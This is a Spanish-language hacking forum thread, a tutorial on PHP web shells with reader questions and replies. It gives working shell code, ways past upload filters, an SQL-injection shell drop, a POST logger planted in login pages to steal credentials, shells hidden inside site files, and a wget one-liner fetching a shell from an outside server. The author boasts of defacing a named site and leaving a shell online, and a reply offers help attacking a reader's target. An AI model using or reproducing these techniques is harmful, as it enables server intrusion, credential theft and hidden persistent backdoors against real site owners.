Tips a la hora de usar shells + otras cuantas cosas

Iniciado por dracko.rx, Febrero 24, 2010, 03:19:06 PM

Tema anterior - Siguiente tema

0 Miembros y 4 Visitantes están viendo este tema.

Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

Código: php
<?php
echo $_GET['comando'];
?>



lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

Código: php
www.dondeestemontado.com/test.php?comando=Hola


el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
Código: php
<?php
system( $_GET['comando']);
?>

lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

Código: php
www.dondeestemontado.com/test.php?comando=dir


se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

Código: php
<?php
show_code( $_GET['comando']);
?>


Código: php
www.dondeestemontado.com/test.php?comando=index.php


con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

Código: php
inurl:c99.txt


0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos.  partiendo de ese principio basico se imaginaran que si colocamos digamos en google

Código: php
inurl:upload.php


encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
Código: php
http://www.el-informador.com/admin/

me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como

Código: php

<?php
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>


aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.

Código: php

<?php
$tipo=explode(".",$nombreFIle);
if($tipo[1]=='jpg'){
echo "paso";
}
?>

con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

Código: php
union+select+,1,2,'<? system($_GET[cmd]);  ?>'+into+oufile+ruta/shell.php




si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto

Código: php

allow_url_include = On
allow_url_fopen = On

teniendo el put activado podemos enviar enla cabecera http algo como
Código: php


PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

<?php
aqui code de la shell
?>


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

Código: php
$user_db = 'i1n1f3o4_admin'; // Server Username    
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)


con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login

Código: php

<?php
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]<br>";
}

$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>


Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

Código: php
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar


Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



y este es el index.php

Código: php
<?php
echo "Lo que sea";
?>




hay varias formas ... por un lado esta una que es simplemente:

Código: php
<?php
echo "Lo que sea";
?>

<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


o

Código: php
<?php
echo "Lo que sea";

if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>





p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger... 



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

Código: php
<Files *.jpg> 
ForceType application/x-httpd-php
</Files>



eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

Código: php
<?php
if(!empty($_GET['file'])){
include $_GET['file'];
}
?>



y podremos incluir nuestra shell asi.

Código: php
http://www.victim.com/filewithlfi.php?file=shell.jpg



lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un  X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem  es el peso de la shell,  no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

Código: php
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php


donde
Código: php
www.server.com/c99.txt

es la ubicacion de tu shell
y ya despues accedes a:

Código: php
www.victim.com/shell.php






0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Psdts
si ven errores o alguna bestialidad les agradezco me informen ;D

Continuara...
by _84kur10_
Venta de diseños - Contactar por MP

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

siempre que veo este tutorial por algún lugar trato de decir siempre lo mismo xD

Gracias por los greetz xD

Citar0x10 Agrecimiento


Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

hola amigo me parece muy buen tutorial, he estado practicando esto de subir shells, pero no logro hacerlo :P
me vendria bien tu  ayuda, por cierto tienes un pequeño error de tipeo aqui:

union+select+,1,2,'<? system($_GET[cmd]);  ?>'+into+oufile+ruta/shell.php

me parece que tendria que ser "outfile"

salu2
;)




"Mess with the best, die like the rest"

Quizás no puedas subir la shell porque dicho servidor usa un AV o algún Firewall que este bloqueando la salida o subida de dicho código envenenado.. (prueba con ofuscar la shell)

Saludos (si quieres pasarme la web por la cual intentas subir la shell enviámela por mp)